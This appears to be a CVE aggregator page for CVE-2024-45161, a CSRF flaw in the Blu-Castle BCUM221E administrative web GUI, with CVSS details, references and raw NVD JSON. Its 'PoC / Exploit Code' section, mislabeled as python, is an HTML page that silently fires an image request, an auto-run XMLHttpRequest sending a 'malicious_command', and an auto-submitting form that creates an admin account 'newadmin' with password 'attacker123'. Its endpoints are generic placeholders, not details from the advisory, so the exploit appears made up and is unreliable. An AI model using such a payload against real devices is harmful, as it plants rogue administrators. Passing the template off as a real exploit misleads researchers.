CVE-2024-45161

Description

A CSRF issue was discovered in the administrative web GUI in Blu-Castle BCUM221E 1.0.0P220507. This can be exploited via a URL, an image load, an XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Blu-Castle BCUM221E 1.0.0P220507

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2024-45161 - Blu-Castle BCUM221E -->
<!-- This PoC demonstrates CSRF attack on administrative web GUI -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2024-45161</title>
</head>
<body>
    <h1>CSRF Attack PoC for Blu-Castle BCUM221E</h1>
    
    <!-- Method 1: Auto-submit form (Image load technique) -->
    <h2>Image-based CSRF Trigger</h2>
    <img src="http://<target-ip>/admin/settings?action=modify&param=value" 
         style="display:none" 
         onerror="document.getElementById('status').innerHTML='CSRF Request Sent'">
    
    <!-- Method 2: XMLHttpRequest -->
    <h2>XMLHttpRequest-based CSRF</h2>
    <script>
        function performCSRF() {
            var xhr = new XMLHttpRequest();
            xhr.open('POST', 'http://<target-ip>/admin/api/endpoint', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            xhr.withCredentials = true;
            xhr.send('action=execute&command=malicious_command');
            xhr.onload = function() {
                console.log('CSRF Request completed');
            };
        }
        // Auto-trigger on page load
        window.onload = performCSRF;
    </script>
    
    <!-- Method 3: Auto-submit form -->
    <h2>Form Auto-submit CSRF</h2>
    <form id="csrfForm" action="http://<target-ip>/admin/settings" method="POST" style="display:none">
        <input type="hidden" name="username" value="newadmin">
        <input type="hidden" name="password" value="attacker123">
        <input type="hidden" name="privilege" value="admin">
    </form>
    <script>document.getElementById('csrfForm').submit();</script>
    
    <p id="status">Waiting for CSRF request...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-45161
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-45161
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-45161/
[4] VulDB https://vuldb.com/cve/CVE-2024-45161
[5] https://blu-castle.com/
[6] https://www.gruppotim.it/it/footer/red-team/2024/CVE-2024-45161-Blu-Castle_BCUM221E.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-45161", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:50.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A CSRF issue was discovered in the administrative web GUI in Blu-Castle BCUM221E 1.0.0P220507. This can be exploited via a URL, an image load, an XMLHttpRequest, etc. and can result in exposure of data or unintended code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://blu-castle.com/", "source": "[email protected]"}, {"url": "https://www.gruppotim.it/it/footer/red-team/2024/CVE-2024-45161-Blu-Castle_BCUM221E.html", "source": "[email protected]"}]}}